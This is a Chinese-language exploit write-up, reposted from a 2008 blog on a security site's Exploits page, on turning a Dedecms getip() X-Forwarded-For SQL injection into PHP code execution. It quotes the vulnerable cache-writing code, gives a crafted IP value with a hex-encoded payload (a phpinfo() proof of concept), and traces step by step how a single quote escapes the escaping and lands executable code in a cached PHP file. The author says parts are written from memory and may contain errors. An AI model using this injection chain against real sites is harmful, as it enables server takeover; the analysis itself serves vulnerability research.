首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Dedecms getip()的漏洞利用
来源:http://superhei.blogbus.com 作者:superhei 发布时间:2008-05-19  
author: superhei
team:http://www.ph4nt0m.org
blog:http://superhei.blogbus.com

flyh4t在非安全发布了dedecms getip()的注射漏洞,漏洞本身的成因没什么好说的老掉牙的X-Forwarded-For的问题,我想这个漏洞很多人都找到了,不过这个漏洞的利用有个地方还是可以说说的,可以直接得到shell:

在用户登陆后把用户信息写如了缓存:\include\inc_memberlogin.php

 function FushCache($mid=0)
  {
      if(empty($mid)) $mid = $this->M_ID;
      $dsql = new DedeSql();
         $row = $dsql->GetOne("Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' ");
         if(is_array($row))
         {
           $scrow = $dsql->GetOne("Select titles From #@__scores where integral<={$row['scores']} order by integral desc");
           $row['honor'] = $scrow['titles'];
         }
         if(is_array($row)) return WriteUserInfos($mid,$row); //这里
         else return '';
  }
 
WriteUserInfos()的代码:
 
 //写入用户的会话信息
function WriteUserInfos($uid,$row)
{
   $tpath = ceil($uid/5000);
   $ndir = dirname(__FILE__)."/cache/user/$tpath/";
   if(!is_dir($ndir)){
        mkdir($ndir,0777);
        chmod($ndir,0777);
   }
   $userfile = $ndir.$uid.'.php';
   $infos = "<"."?php\r\n";
   $infos .= "\$cfg_userinfos['wtime'] = '".mytime()."';\r\n";
   foreach($row as $k=>$v){
        if(ereg('[^0-9]',$k)){
             $v = str_replace("'","\\'",$v); //这个是利用的关键 :)
             $v = ereg_replace("(<\?|\?>)","",$v);
             $infos .= "\$cfg_userinfos['{$k}'] = '{$v}';\r\n";
        }
   }
   $infos .= "\r\n?".">";
   @$fp = fopen($userfile,'w');
   @flock($fp);
   @fwrite($fp,$infos);
   @fclose($fp);
   return $infos;
}

我们构造$ipp="121.11.11.1',uname=0x68656967655C273B706870696E666F28293B2F2F,uptime='1";

mysql> select 0x68656967655C273B706870696E666F28293B2F2F;
+--------------------------------------------+
| 0x68656967655C273B706870696E666F28293B2F2F |
+--------------------------------------------+
| heige\';phpinfo();//                       |
+--------------------------------------------+
1 row in set (0.00 sec)

利用流程:
A:
             else{ //成功登录
             //$ipp="121.11.11.1',uname=0x68656967655C273B706870696E666F28293B2F2F,uptime='1";
                 $dsql->ExecuteNoneQuery("update #@__member set logintime='".mytime()."',loginip='".$ipp."' where ID='{$row['ID']}';");
                 
                 
B:FushCache()

             $row = $dsql->GetOne("Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' ");

C:WriteUserInfos()

heige\';phpinfo();// ---str_replace-->heige\\';phpinfo();//---fwrite--->heige\\';phpinfo();//

===>$cfg_userinfos['uname'] = 'heige\\';phpinfo();//'; 完美闭和前面的' :)

其中str_replace的部分相当于代码:

<?php
$v="heige\';phpinfo();//";
$v = str_replace("'","\\'",$v);
print $v;
?>

整个过程其实就是一个很完整的"二次攻击",而str_replace("'","\\'",$v);起了关键性的作用 :)

[因为这个漏洞当我pc上有那么段时间了,这个文章很多都是凭记忆写的,可能有错误,有兴趣的同学可以自己跟一下。]
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·LulieBlog 1.2 Multiple Remote
·Smeego 1.0 (Cookie lang) Local
·MeltingIce File System <= 1.0
·FicHive 1.0 (category) Remote
·PHP AGTC-Membership System <=
·Archangel Weblog 0.90.02 (post
·MyPicGallery 1.0 Arbitrary Add
·Debian OpenSSL Predictable PRN
·AlkalinePHP <= 0.80.00 beta (t
·MercuryBoard <= 1.1.5 (login.p
·EntertainmentScript 1.4.0 (pag
·Pet Grooming Management System
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved